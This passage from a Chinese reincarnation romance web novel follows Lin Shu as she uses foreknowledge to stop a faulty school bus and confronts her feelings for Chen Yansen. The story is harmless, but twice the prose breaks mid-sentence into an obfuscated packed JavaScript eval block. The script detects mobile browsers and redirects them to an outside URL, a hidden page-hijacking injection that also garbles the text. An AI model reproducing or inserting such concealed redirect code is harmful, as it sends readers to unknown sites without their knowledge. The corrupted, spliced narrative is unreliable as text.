“真的?”林舒眨巴眨巴眼睛,一脸期待。 “真的!”陈彦森坚定地点了点头。 “那我们快点练琴吧!”林舒迫不及待想要马上练琴,把基础打扎实了,就可以开始学花之舞了。一想到这,她恨不得给今日的练琴时光按下加速键。 林舒按下的加速键很有效,一眨眼就到了第二日,航班恢复,林舒和陈彦森坐上最早的班次回南苑。 林舒一到航站楼的停车场,就看到丁敏和林不帆两人不断往出口处张望着。 “妈咪!”一见到丁敏,林舒像撒开四蹄的小鹿,张开双臂欢快地向她跑去,一把抱住她,“妈咪!我好想你!” 丁敏猝不及防被一把抱住,反应过来是日思夜想的宝贝女儿后,也紧紧搂住她,“宝宝,你回来啦!” 说完,她想起什么,一把松开林舒,语气严肃:“下次这么危险的事情可不能再干了,17级台风可不是说笑的,怎么大家都能赶上飞机,就你赶不上呢?” 林不帆在一旁替林舒打圆场:“下次不敢了,不敢了。”他一边说着,一边向林舒眨眨眼。 林舒立 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“那好吧,”林舒坐进车里,从车窗探出头来,“你路上注意安全啊,早点回家。” …… 林舒回到家,刚吃完晚饭,就听到楼下有人喊她名字。 她往楼下一看:“李洛诗?” 李洛诗仰着头,脖子都酸了,催促道:“快下来快下来,叫你好久了。” “你等等,马上马上。”说完,林舒急忙跑下楼,还因为太着急了,直接把家里的拖鞋穿下楼了。 一见面,李洛诗便开始数落她:“你现在胆子大了啊,不跟我们一起飞回来,现在好不容易回来了居然还不看手机,我都给你打了多少个电话了。” 林舒拉着她的手左右摇晃,撒娇道:“哎呀,我这才刚回来吃了个饭,没注意到手机。你大人有大量,就不要跟我计较了,好不好?” “想让我不计较,可以,但你要告诉我,”李洛诗一脸八卦,“听说你在陈彦森家里住了两天?” 林舒:“对啊,不然呢?就我们租的那屋子,我走晚一步可能玻璃都破了。” 李洛诗狡黠地眨眨眼,“所以,你们都干了点什么?” 林舒倒也真的回忆起来:“第一天凌晨吃了顿饭,醒来去超市买了点东西,回家做了个超难吃的巴斯克蛋糕。第二天早起练八段锦,接着练琴。” “就这样?” “就这样。” 李洛诗表示质疑:“陈彦森这血气方刚的年纪,这么纯情?哎哟,你打我做什么?” 冷不丁的,她的脑袋被林舒狠狠敲了一下。 林舒拍了拍手:“我打的就是你,你这满脑子黄色废料,都不知道在想些什么东西。我跟陈彦森的关系就像跟刘沐鑫、楚洛西一样,跟大家一样,就是同学,同学。” 李洛诗:“你还在那同学同学的,你去大街上问一问,哪个同学可以为了你留在马上要刮17级台风的地方?哪个同学会冒着生命危险去接你回家?林舒,你摸着你的心,看着我的眼睛,告诉我,难道你感觉不到陈彦森喜欢你吗?” 林舒伸出手掌,做了一个“停”的动作,“不好意思,暂停一下,本姑娘不考虑情爱。” 她考虑不了这么多。 她要保住陈彦森的左腿,要好好积德,要保证自己可以活过2024年冬至,回家好好跟爸爸妈妈吃一顿饭,还要救下李洛诗。 对,救下李洛诗。 她话锋一转,问道:“还有半个月我们就开学了,那我们就是大三老腊肉了,是时候要考虑下未来的发展方向了。你有什么想法吗?” 这一次,不能再让她进房地产行业了。 李洛诗:“听了你去支教的经历很受感触,所以想今年寒假也报名去支教体验一下。如果没意外的话,我毕业后应该会做老师。” 林舒一听,原地蹦高三尺,“做老师好啊,太好了。” 如果她能抓住机会,19年毕业的时候考上教师编,就不怕被裁员了。 林舒当然知道老师不是一份轻松的工作,责任大压力大,可世上哪有什么轻松的工作呢?只要人活着,要工作,就一定会遇到困难,她要做的是跟她的好朋友站在一起打败困难。 只要她们站在一线,就没有困难可以打倒她们。 分别前,李洛诗还是问了那个问题:“林舒,其实你那天是去干什么啊?” 林舒不想骗她,诚实作答:“我突然想起有件很重要的事情要去做。” “比你的生命还重要吗?”月光下,李洛诗认真地看着她的眼睛。 林舒想了想:“其实我当时没想那么多,那一刻我只想她活下来,我想她和她肚子里的宝宝可以活下来。其实做人还是挺有意思的,真想让那个孩子看看这个世界。” 她说话没头没尾的,但李洛诗也没有再追问。 25. 第四世(二十二) 陈彦森失眠了。 他换了不同的姿势尝试入睡,但依旧毫无睡意。睡了两天小床,突然睡回柔软舒适的大床上,他有点不习惯。 当然,他知道并不是这个原因。 他睁眼到天亮,给林舒发信息:【醒了吗?】 等了好一阵子没收到,他心想那个小懒虫肯定是在睡懒觉,于是去她家楼下等她。等她醒了,他可以约她去玩,去吃饭,去练琴,去做什么都行。 总之就是想见到她,想跟她待在一起。 十几个小时没见,他的心犹如有千万只蚂蚁在爬行,使他坐立难安。 万万没没想到,他没等到林舒,倒是等到了丁敏。 “阿姨早上好。”他微微鞠躬。 “诶,陈彦森,”丁敏看见是他,很是惊讶,“来找林舒?” “对。”陈彦森不好意思承认,但整个人杵在人家楼下意图如此明显,也不得不承认。 丁敏:“她不在家呀,她一大早就出门了,说是去参加那个什么……红十字救护员培训班。” 陈彦森:“……啊?” 丁敏:“我也不知道这奇怪小孩脑子里在想什么东西,放个暑假就没几天在家的。说什么要好好积德,多学点东西能帮人。” 世间的大多数父母提起自己的孩子都会忍不住唠叨几句,丁敏也不例外。 丁敏陈彦森还毕恭毕敬地站着,才反应过来光顾着自己唠叨了,连忙说:“你找林舒有事是吧?培训班在洛宁街,你去找她吧。” 陈彦森道别后,朝洛宁街疾步走去。到了洛宁街,刚好碰上培训班下课,他看到林舒随着人流走出来。 她穿一件蓝色条纹衬衫外套搭配同款条纹短裤,里面是一件白色吊带。头发梳起扎了个双丸子,分别系着一根粉色发带,随风摆动。 陈彦森记得她穿衣用色一向鲜艳大胆,还酷爱撞色搭配,是少见的能将撞色穿得这么好看的人。他还记得高一聚会的时候她穿绿色连衣裙搭配红色鸭舌帽,特别灵动,像迪士尼电影《小飞侠》里的小叮当仙女。 最近她穿衣颜色越来越素,以浅色和白色为主,这粉色发带是她身上最后一样跟过去风格有相似点的东西了。 “林舒。”他叫了一声。 林舒循声望去,面露惊讶,“陈彦森,你也来上课吗?” “上什么课,我是来找你的。”陈彦森说,“你是不是又没看手机?” “是,”林舒嘿嘿一笑,“我刚刚在上课,就把手机调静音了。” 2024年,大家都会成瘾般的低头迷恋手机,即使几个人坐在一起都会各自玩手机。现在在2017年,她尽量让自己多抬头看看这个世界,把更多时间留给身边的人。 感情,要当面谈。 “你找我是有什么事?”她问。 陈彦森:“你既然叫我一声老师,我就要对你负责到底。之前说好要教你学会花之舞,走,带你去练琴。” 一听到去练琴,林舒很开心:“那我们去哪练?” “琴房,学校的琴房。我已经预约好了。” “哇!你已经约好了!”林舒一高兴就容易忘形,抓着他的手臂晃啊晃,“你真好,你是世界上最负责的老师!” 陈彦森顺势而上,勾着她的手,直勾勾看着她:“老师对你好,那你要怎么做?” “我……”林舒眨眨眼,装作没听懂,“谢谢老师!” “算了,心凉了,不教了。”陈彦森松开她的手,转身佯装要走。 “哎呀别别别,你这人怎么这么小气。”林舒眼快手疾抱住他的手臂,“你想要什么,只要不违反道德法律的姐都给你去办。你想要天上的月亮我都给你摘下来。” 陈彦森站住不走了,顺着台阶下:“离开学还有半个月,你每天抽半天时间跟我去练琴。” “就这么简单?这还不容易吗?是我想学琴,我肯定能做到。”林舒拍了拍胸脯。 “你要真做到才行。”陈彦森用激将法。 林舒果然上当:“你等着吧,看我半个月速成花之舞!” 嗯……其实她就是口嗨而已啦。 拜厄练起来非常枯燥,而且旁边还坐着陈彦森这么一个严师——他今天准备得很充足,刚坐下就对着她一脸坏笑,慢慢从兜里掏出一把二十厘米长的铁尺子。当时她心里就有个声音在说:“完啦!” 是真的完了。 每当林舒出现掌关节塌陷、手腕过低、颠手腕、翘指等问题时,铁尺子就会毫不留情地打下,伴随着陈彦森严厉的声音:“错了。” 三个小时后,林舒累得腰酸背痛,尤其是双肩紧得跟背着二十斤大米一样,十指不听使唤,手腕不受控制地垂下。 “啪”一声脆响,这次铁尺颇有怜香惜玉之情没有打在她手上,而是打在陈彦森自己的手掌心。只听他声音淡淡:“累了?” “我累啊大哥。”林舒哀嚎,“三个小时,你不累吗?” 要是让她举着尺子坐三小时,她也会累啊。 “我不累啊。”陈彦森挑挑眉,尺子一下一下有节奏地打在他的手掌心,似笑非笑地看着她。他的瞳色很深,此刻逆着光,像是要一口将她吃掉。 林舒眨了眨眼,怎么回事?怎么突然觉得他很有……那个词怎么说来着?对,侵占欲。 她忽然发现自己一直以来都看错了。面前的这个男生并非外表看起来的冷漠叛逆,而真实性格不仅仅是最初熟络时带着距离感的温柔绅士,也不仅仅是相熟后他展现过的脆弱的一面,他其实是有点腹黑和傲娇在的。要让她一下子想出什么对应话语和事件去佐证,她倒是一时想不出,脑海里淡淡飘过五个字:男人好复杂。 真的好复杂,猜不透,看不清。 要不是陈彦森正盯着她,她真想立刻打电话给刘沐鑫,问问他:“陈彦森的真身是什么?腹黑傲娇男?” 自从那次厨房事件过后,他们独处且没事做不说话的时候,气氛就有点微妙。林舒嗅到气氛不对劲,尴尬地扯了扯嘴角,弱弱举手,“陈老师,我可以休息一下吗?” 他一边从鼻腔中发出“嗯”的声音,一边起身往她身边的空位上坐。林舒哪里还敢跟他有这样亲密的接触,似是被火烧到屁股那般飞快弹起,坐到一旁的椅子上。 陈彦森见她反应这么大,皱着眉一脸狐疑地看了她一眼,而后收回目光,十指落在琴键上,像一只燕子落在电线上。 他再次弹起《花之舞》。 这是他第三次在她面前弹起。第一次是大一军训才艺表演,第二次是2016年跨年夜,第三次是现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856666|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在。 每一次听,都有不同的感受。 第一次是惊讶,第二次想起往事感到感慨。 这一次,她想要落泪。 万物静止,空气也停止流动,一个个音符自琴键上跃出,歪歪扭扭地向她走来,像刚学会走路的小孩子走向他的朋友。 她伸出手,让这一个个音符落在她的手心上、手臂上、肩上,因为太多了,有的甚至站在她的膝盖上,但她也不恼火、不害怕,只觉得亲近。 接着,这些音符一点点向她的身子贴近,触感软软的,很奇妙的感觉,像是在拥抱她。 她听懂了,弹琴者在用琴声安慰她。 她听懂了,接收到这份情谊,所以想要落泪。 他整个人浸在夕阳中,目光下视,橙色的光芒像闪着透明羽翅的小飞虫,歇落在他的侧影上,让他变得柔和生动起来。 重生后的这两年里,她一直在为着那些目标拼命赶路,根本无暇顾及其他。即使经常与他待在一块,她也极少认真地看过他。 今天这样静静看着他,拨开了面前一层又一层的雾,她突然好像有点看清楚他的模样了。 就在这一刻,她好像明白为什么他会这样对她好。 为什么他在便利店重遇后,面对九年未见的同学提出的奇怪且危险的要求,会义不容辞出手帮助; 为什么他极其关心她的身体状况,担心她中暑,给她送来电解质饮料;担心她身体素质差去支教熬不住,劝说无果后,陪着她、督促她锻炼; 为什么他会记住她随口说的一句冷,然后烧水给她洗澡; 为什么他会记住她在寻常聊天时无意间提起的“喜欢钢琴”,然后找机会教她; 为什么他在知道她没登机后,留下来到处找她; 为什么他冒着生命危险,顶着台风,穿过半个城市来接她去安全住处; 为什么他每一次都相信她的话,明明重生是一件这么荒诞的事情; 为什么他此刻坐在这里,弹琴安慰她。 陈彦森,是什么时候开始的事情?为什么你从来没有告诉我? 陈彦森,在我根本没有与你发生这些故事的那三世里,你的人生是怎样的? 第二世,我在便利店撞到你,其实当时你就认出我了对吗?你看着根本没认出你的我,心里在想什么呢? 第三世,看着自己亲手救回的人最后惨死在滚滚车轮之下,喊出那一声撕心裂肺的“林舒”后,你又在想什么? 她的双眼噙满泪水,在最后一个音符落下时哭成泪人。 似有千斤大石压着她的心,她急促地喘着气,迫切吸入氧气让自己没那么辛苦。她就这么用力地一呼一吸,终于吸进一口新鲜的氧气,紧接着,她跌进一个温暖结实的怀抱中。 温柔的声音在她耳边响起:“你可以去上培训班,也可以去救人,但你要记住,你才是最珍贵的。” 林舒紧紧搂着他,用力咽下心中的酸楚,抽泣道:“你可不可以给我讲讲你的故事?陈彦森,我想多点了解你。” 我想知道,第三世里毫不犹豫向我施以援手的你,第四世里迎着17级台风将我接去安全地方的你,背后到底有着怎样的故事。 陈彦森轻轻抚摸她的后背,轻声说:“我们来日方长。” 26. 第四世(二十三) 半个月后,大三开学。 林舒佩戴着绶带,最后一次代表青协参加迎新活动。 大三的课程很满,林舒还要抽空去上红十字救护员培训课,抽空洗饮水机,虽然已退部但还是陪昔日小干事推广旧衣回收活动。除此以外,林舒一直督促着李洛诗备考教师资格证,陪她去图书馆刷题,帮她在网上买参考书和真题,陪考陪着陪着也干脆跟她一起报了名。 因此,她每天时间根本不够用,只恨一天没有48小时。 这天晚上,林舒和李洛诗从图书馆回来,一回到宿舍,就看到庄路瑶和程芯正聊得热火朝天。 庄路瑶一见她们回来,说道:“你们回来得正好。明天在南溪科技大学有一场大型招聘双选会,我跟程芯打算去看看,要一起去吗?” 程芯跟着说:“是啊,现在毕业生太多了,我们得从大三开始就做好准备啊,多了解了解就业市场总归是好的。” “你们在说这个呀,”李洛诗说,“今天刘沐鑫也跟我说了,打算明天去看看。” 庄路瑶:“去南溪科技大学车程要一个半小时,我刚问了师兄,大家组织着坐校车一起去。” 招聘双选会? 林舒回忆起第一世,她们确实是在大三的时候去过南溪科技大学的招聘双选会,同行的还有刘沐鑫。印象中好像是还有刘沐鑫的朋友,但是她有点记不清了。然后就是…… “不行!”她突然瞪大双眼,“我们不能去!” “为什么呀?”三人齐齐看向她。 可能是当时这件事对她没有造成极大伤害,也可能是她的注意力落在“重生必做四件事”上,一时忘记了,现在她们的对话唤醒了她的记忆—— 她们所乘坐的大巴车,在去往南溪科技大学路上左轮胎破裂,导致车辆失控撞到路障并引发起火。 车上都是南苑大学大三、大四的学生,在发现起火的第一时间,就有一位个大四师兄站出来安抚大家情绪,指挥大家有序下车。 林舒坐在最后一排,走到车门处发现火势已经很大了,根本没办法下车。就在她以为自己要被困在这场火里的时候,身后的人用手肘打破车窗,拦腰将她抱起,从车窗送出去。 当时火势很大,车厢内全是烟,林舒根本看不清抱起她的人是谁,只知道是个男生,长得很高。被送出去的那一刻,她因为没有安全感而慌乱地抓了一下,摸到男生衣服上别着一个硬硬的、圆圆的东西,手感有点像金属徽章。 下车后,她因为吸入浓烟被紧急送去医院,失去意识前还挣扎着想去看车上的人有没有下来。 事后,她在医院醒来,问李洛诗她们最后那个男生有出来吗?他是谁?得知他出来了,但是不知道是谁。 她又去问当天指挥大家的师兄,得到的答案也是一样。 她不知道救她的人是谁。他走出了那场大火,但又消失在那场大火里,留给她的只有金属物件的触感。 不能让舍友们和刘沐鑫上那辆车,是她想起这件事后唯一的念头。 庄路瑶很是疑惑:“为什么呀?” 林舒语气中带有不容拒绝的坚定:“没有为什么,就是不能去。” 李洛诗:“可是,刘沐鑫跟我约好时间了,他说陈彦森也去。” “陈……你说谁?”林舒原本是俯身跟坐着的舍友说话的,此刻直起身后退一步,后背撞在床架上发出“嘭”一声响,但她没有任何感觉。 她听见自己声音在发抖:“陈彦森……也去?” “林舒,你怎么啦?”李洛诗上前握住她的手,“你的手好冰。” 林舒呆在原地,大脑飞快运转。 余嘉城行迹败露的那晚,陈彦森因跟他纠缠而露出假肢。 林舒看着他的金属假肢,喉咙哽了哽:“是怎么伤到的?” 陈彦森言简意赅:“校车着火了。” 校车着火了。 难道,他也在那辆车上吗? 跟在她后面、用手肘打碎玻璃、用尽力气将她送出车外的,也是他吗? 所以,他是在这场火里失去左腿的吗? “我,我……”林舒头痛欲裂,站都站不稳,只得拼命抓着床架,说话也语无伦次的,“你们、明天能不能不去?” 她的声音带着哭腔,已是近乎哀求了。 “好好好,”李洛诗揉了揉她的后背,“我们不去了。” “对,我们不去了。”庄路瑶和程芯边说着,边围上来。 三个女孩将林舒围在中间,紧紧抱着她,像冬日里互相取暖的小动物。 …… 去南溪科技大学的校车上车点就在东门,集合点是上午十点。林舒坐立难安,九点就到集合点蹲守着。 劝认识的人不要坐上这辆车不难,要劝不认识的人才难。林舒犹豫了好一阵子,眼看距离集合时间越来越近了,来的人也越来越多,最终还是决定:与其被人当作怪物轰走,还不如等车一来就截停它。 就在她看着一旁的大石块,思考要不要爬上去站得更高看得更远时,有人拍了拍她的肩膀。 因为她正全神贯注研究大石块,突然有人这么一拍,她被吓得原地弹了一下,惊慌失措地回过头。 没想到,身后的人让她更加惊慌失措。 “陈彦森?!你怎么来了?!刘沐鑫没跟你说不要来吗?!” 她的质问一声比一声高,引得旁人频频侧目。 陈彦森连忙安抚道:“我知道我知道,他们都没来,就我来了。” “你来干嘛?!”林舒真的要被气死了,直接炸毛,音量绝无收敛之意。 “我不上车,我来找你。”重要的事情需得再强调一遍,他又说,“林舒,我不上车,我是来找你的。” 这下林舒稍微冷静一些了,问道:“你怎么这么不听话,来找我做什么?” 她现在像是一只暴躁的小刺猬,将身上所有的刺张开抵御外界的伤害,只为了保护在意的人。 她一直认为上天既然给了她这么一个重生的机会,那么她至少要利用自己有先知的优势尽可能地帮助他人、阻止灾祸。这与积德无关,是她私下单方面与上天做的交易。 更何况,她猜测在过去的三世里,陈彦森都在这场火里失去了左腿。 陈彦森想要安慰她,一边伸手揽她的肩膀,一边故作俏皮说道:“根据英明神武的我合理猜测,你知道这辆校车有问题,是来阻止大家上车的。这么重要的时刻,我当然也要跟你一起,不然怎么蹭一点功德,下辈子当非洲大象呀?” 他靠过来的时候,有什么东西嗑到林舒的书包发出一声脆响,林舒被声音所吸引,自然而然地循声望去。 是徽章。 一个圆形的金属徽章。 陈彦森见她不说话,以为这个方式奏效,继续说:“你大一的时候就把安全锤给我,也是为了防止这一天的到来。怎么样,我是不是猜对了?” 林舒大脑一片混乱。当猜测仍只是猜测时,她还能接受,但当猜测成为事实摆在她面前,她觉得整个世界开始坍塌。 那个把生的希望留给她的 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林舒能听见自己心脏砰砰直跳,用最后一丝理智问:“您真的要把车开出去吗?” 司机:“同学,这是我的工作。” “好。”林舒也不废话,转身向陈彦森伸手,“安全锤,给我。” “什么?” 她变得不耐烦:“你不说会随身带着的吗?快给我。” 陈彦森见她情绪不稳定,很是担心,但还是照做,将安全锤放进她的手里。 林舒握紧安全锤,跟靠近校车的同学说了声“我要发癫,麻烦让开”,然后毫不犹豫地挥起安全锤砸在车窗上。 “一定要对准车窗的角落打,不要打中间。” 当年,她是这么跟陈彦森说的;现在,她也是这么做的。 非常标准的破窗手法,车窗应声破碎,在场所有人包括司机都目瞪口呆,一时之间给不出任何反应。 趁着大家还没回过神来,林舒一个跨步从车上跳下来,迅速来到车子左轮胎处,拿出事先准备好的钉子,直挺挺插进轮胎里。 等司机反应过来跟着冲下车时,他就只能眼睁睁看着林舒把钉子插入轮胎,根本来不及阻止。 做完这一切,她将安全锤往地上一扔,双手握拳并在一起伸到司机面前,露出如释重负的笑容:“我损害公物了,报警抓我吧。” “‘报警抓我吧’,她就这么对我笑着说出这番话。”在保卫处办公室里,司机惊魂未定,“我看她言行举止都正常,不像是做事这么偏激的啊!” 另一个办公室里,林舒淡淡然道:“多少钱?我赔就是了。” 两位老师对望一眼,李老师循循善诱道:“同学,我听师傅说,你今天一上来就说左轮胎有问题,见他还是坚持要车子开出去,你才开始砸窗和扎轮胎的。” 来之前,李老师了解过林舒在校的表现,是一个除了体育以外各方面都很优秀的学生,所以对她保有信任与好感。她继续说:“你最近会觉得自己压力大,睡眠不好吗?” 林舒斜斜靠在椅子上,面无表情道:“可能是吧,突然就想砸了,砸完就爽了。” 有一种平静的疯感。 李老师刚想继续说点什么,咚咚的敲门声打断她的话。她站起身与敲门者低声说了两句,拿着一份文件回到座位上,看着林舒的眼睛说: “同学,刚刚车厂的人说,校车的左轮胎确实有隐患。如果今天真的开车上路,恐怕会酿成不可挽回的悲剧。可是,你是怎么知道的?” 27. 第四世(二十四) 林舒走出保卫处,余光瞥见一个熟悉的身影,但她假装没看见,径直走过。 陈彦森快跑两步追上:“林舒。” “嗯?”林舒的声音微弱像蚊子。 “刚刚老师有没有为难你?”陈彦森问。 “老师不会为难你的。”李老师温柔地对林舒说,“可以告诉老师,你是怎么知道的吗?” 林舒咬了咬嘴唇,艰难开口:“我做了一个梦。在梦里,校车起火,有人失去了左腿。” “做梦?”李老师迟疑了一下,没有质疑她,而是问,“你以前曾经做过类似的梦吗?” 林舒低下头,没有回答。 旁边的孙老师见问了半小时什么都没问出来,有些不耐烦地站起来在办公室里踱步。他抬起头来刚想说什么,就被李老师狠狠瞪一眼咽下。 李老师说:“今天多亏了你,我们才阻止了一场意外发生,所以轮胎和车窗的损失都不需要你承担。后面的事情我会处理好,你回去好好休息,不要想太多。” 林舒走后,孙老师问李老师:“刚刚她说话前言不搭后语的,又说什么做梦,你信她?” 李老师看他一眼:“她犯错了吗?” “我又没犯错,”林舒面对陈彦森的关心,后退了一步,避开他的眼神,“老师不会为难我的。” 陈彦森向她走近一步:“那我们去吃早餐?” “我有点不舒服,想回宿舍了。”林舒一边说,一边又退一步。 “那我送你回去。” “不用。”林舒转身,“我自己坐校巴回去就行。” 在他们说话间,校巴刚好靠站停车。林舒不等陈彦森回答,快步走向校巴,头也不回地上车。 陈彦森看着她离去的背影,没有追上去,而是看着她神情呆滞、动作僵硬地走到校巴最后排的位置坐下。隔着车窗,她的模样有些模糊,这让她看起来更加破碎和憔悴。 随着校车启动,即使他的目光始终紧紧追随着她,她依旧一点一点在他视线里走远直至消失。他看着远处越来越小的车影,忽然意识到,他可能要失去她了。 …… 林舒回到宿舍,一头扎进被窝里,一觉睡醒天边已现夕阳。 她一天没吃东西,醒来后觉得全身酸软无力,爬下床的时候觉得整个人在飘。 李洛诗一整天都待在宿舍里守着她,见她终于起床,便立刻发起邀约:“我们下楼吃饭吧?” 刚好肚子咕噜响了一声,林舒点点头,跟着李洛诗下楼。她们撩起门帘走进饭堂,饭香和嘈杂声同时扑面而来。靠门口这张桌子坐着一对情侣在吃饭,男生从自己碗里夹起一块肉给女生;两个女生手挽着手从她面前走过,不知在说什么开心的事情,笑得前仰后合;后面的大桌子上围坐着七八个人,应该是社团在聚餐,大家七嘴八舌说着话,气氛很好。 她深吸一口气,走到窗口边上一番指点,点了四个菜一大碗米饭,一句话没说,坐下埋头干饭。 二十分钟后,她摸了摸肚子,发出一声幸福的感叹:“啊,我吃饱了。” 人活着就得吃饭,吃饱饭整个人都精神多了。 人在低能量的时候就应该来饭堂。 林舒顿悟,难道这就是“二十分钟饭堂效应”? 她一手拿着果汁,一手挽着李洛诗的手臂,感受着秋夜里的徐徐微风,沉浸在自己的小世界里,根本没有留意到有人正悄然向她走来。直到那人唤了一声“林舒”,她才回过神来。 她是怎么都没想到他会来她宿舍楼下的。 天色已黑,校道两边的路灯稀稀落落地亮着,他从那端走来,身上披着月光,像画卷中最浓墨重彩的一笔。 不知怎的,林舒想起了上一世在便利店,她叫了他一声,他回过头来,两人的故事从那一刻开始。 她条件反射后退一步。 陈彦森这次早有准备,一把握住她的手腕,低声问:“林舒,你为什么躲我?” 冷不丁地手被攥紧,林舒有点慌,用力想将手抽出来,奈何对方加大力度将她禁锢在身前,死死盯着她:“你躲我,是因为上一世的我死在那场火里吗?” 林舒愕然抬头,对上他的眼睛,才看到他眼尾红红,双目盈满泪水,一眨眼,泪水在眼眶中流转,让人很是心疼。 她的心一下子就软下来。 但她不知道该怎么说,上一世的他失去左腿很大程度上是因为她,她现在躲他是因为觉得愧疚,不知道该如何面对他。 她于他而言就像灾星。只是靠近她,上一世他左手留疤、没了左腿,帮她抓杀人犯,这一世他被余嘉城打,顶着台风去接她。或许还有更多他默默做了、承受了的事情,只是她不知道而已。 “你没了左腿。”千头万绪涌上心头,她哽咽着摇头,“你是因为救我,才会这样的。” 陈彦森突然笑了,眼角还带着泪,“我还以为多大点事呢,只是没了腿而已。”他俯身凑近她,额头轻点她的额头,声音温柔中带点期待:“你见过我的假肢吗?是不是很酷?” “陈彦森!”林舒腾出另一只手打他,却被对方顺势搂住。 他在她耳边说:“我现在不是好好在你身边吗?” 他的声音似有魔力,冲破她好不容易建起来抵御的心墙,她终于忍不住哭了出来:“你跟我在一起一直没好过,不是被余嘉城打,就是跟着我洗饮水机,半夜送孩子去看医生,翻山越岭去家访,面对17级台风,现在还差点上了那辆校车。我是灾星。” 她哭得上气不接下气,全身都在抖。 他搂紧她,似乎要将她揉进自己的身体里。他一手扶着她的腰,一手托着她的后脑勺,安抚道:“我现在好好地站在你面前,不就正好说明你是可以阻止悲剧发生吗?” “而且,我从来都不认为你是灾星。” “大一开学后你主动我约我吃饭,我当时以为自己是在做梦,走去饭堂的路上一直在自我怀疑。直到踏进饭堂看到你向我招手,我才敢相信,真的是你。” “你知道我当时在想什么吗?” “我在想,如果能让我陪在你身边,即使上天要我去死,我也愿意。” “不许乱说!”林舒想从他怀中挣扎出来,捂住他的嘴不许他乱说话,却被他不容分说按回怀里。 “有些话,我不敢看着说,你就让我这样继续说完吧。”陈彦森笑道,“请你不要着急推开我,我是自愿的。” 林舒一愣,停止挣扎。她深吸一口气,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872273|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音带着委屈的哭腔:“你是自愿的,那你怎么不问问我愿不愿意?” 陈彦森:“我知道你不讨厌我,也不怕我,不然,你会报警抓我的。这说明我的地位比余嘉城高,这点我能够确定。” 林舒不悦,嘟囔着:“你怎么拿自己跟余嘉城比?” “因为我曾经非常羡慕他。” 少年情愫始于高一那年,乌桕树下,聪明的女孩一脸识破假意寻求帮助的孕妇的伎俩,坚定勇敢地拒绝了她。 事后,老师在班会上讲起这件事,模糊掉事件中的女主角,叮嘱大家不要轻信陌生人,即便对方是弱势群体。到那时他才知道,当时那个女孩正面临危险,而他袖手旁观了。 她是年级第一,聪明伶俐又落落大方;但她又有点叛逆反骨,早读迟到,上课写作业,晚自习翻墙出校买夜宵,不爱穿校服,怂恿大家一起请假回家过冬至,这让老师们对她又喜欢又头疼。 在阴暗潮湿的环境里生活久了总会向往光,而她就是那道光。 但很快,那道光便只照亮余嘉城了。 也许不会有人相信年级第二、被女孩们追捧的校草陈彦森竟会有羡慕别人的时候,但事实就是他一直羡慕余嘉城。 他继续躲在阴暗潮湿的角落里,尽可能地降低在她身边的存在感,这样就可以既能看到她,又不会暴露这份隐秘的喜欢。 林舒她张了张嘴,一时不知道该如何回应。或者确切地说,她不能回应。 虽然没了余嘉城,但是照目前事情进展来看,随着她作出改变,故事轨迹发生了偏离,她不知道未来还会有什么意外发生。她还有许多事情要做,她不能保证自己一定能救下李洛诗,也不能保证自己一定能看到2024年12月20日的太阳。 她无法承诺。 陈彦森感觉到怀中的女孩情绪慢慢从激动过渡到平稳,最后陷入无尽的内耗中,慢慢松开她,看着她眼睛认真说:“虽然我不知道你具体要做什么,但是你不用管我,尽管做自己的事情就好了,我会一直在你身边陪着你的。” 被坚定选择是一件很动人的事情。 林舒从不缺爱。虽然家里并不是大富大贵,但是对于这个独生女,她的父母极尽所能爱她、护她;她的性格极好,成长路上一直不缺对她释放善意的人,在人生的每个阶段都有关系不错的朋友;因为脑子转得快,她读书时成绩好,老师们喜欢她,工作后业绩好,领导们喜欢她。 她这一路走来,谈不上是多么顺风顺水,但绝对是在爱意中长大。 但即便是这样一个不缺爱的人,在面对喜欢的人的坚定选择时,还是会非常心动。 她动情地说:“陈彦森,如果我们有这个缘分一直陪着对方,2024年12月20日,我有话想对你说。” 六年内会发生许多,我能接受任何变故,但如果到时你还在,我也还活着,那么我想告诉你,我喜欢你,非常非常喜欢你。 但若我死了,那也只是我们缘分不够,你不必难过。 陈彦森张了张嘴,刚想说什么,就被林舒打断了:“你不要许诺,我也不承诺,我们顺其自然。” 陈彦森点点头:“好。” 有些话不必明说,有些心意对视一眼就知晓。 28. 第四世(二十五) 通过这次谈话,关于那场火带给林舒的心结被解开,她相信人的命运是可以被修正的,顿时觉得肩上的担子轻了许多,脸上的笑容也多了起来。又因为知道有个人无条件地守护、陪伴着自己,她底气更足,没有那么惧怕未来了。 她充实地过完大三,接着按照第一世的轨迹,在2018年10月入职互动有力传媒集团股份有限公司客户服务部,担任客户执行实习生一职。 入职当天,她跟在行政身后,走到自己上一世坐了五年的工位上。对面工位上的女人起身,微笑着向她伸出手,做自我介绍:“你好,我是温昊殷。” “你好,我是林舒。”她也伸出手。 她依旧选择上一世的工作。她喜欢她的上司温昊殷,喜欢这份工作带给她的成就感,相信认真做广告的工作可以给用户带来快乐,那也算是积德了。 实习的第一天主要是了解公司规章制度,等行政申请开账户,没什么具体工作要做。林舒坐在熟悉的工位上,敲着既崭新又熟悉的电脑,长长地松了口气。 有句话不知当讲不当讲,重生后在大学的这三年多里,她时常觉得自己的灵魂是游离于躯体之外的。 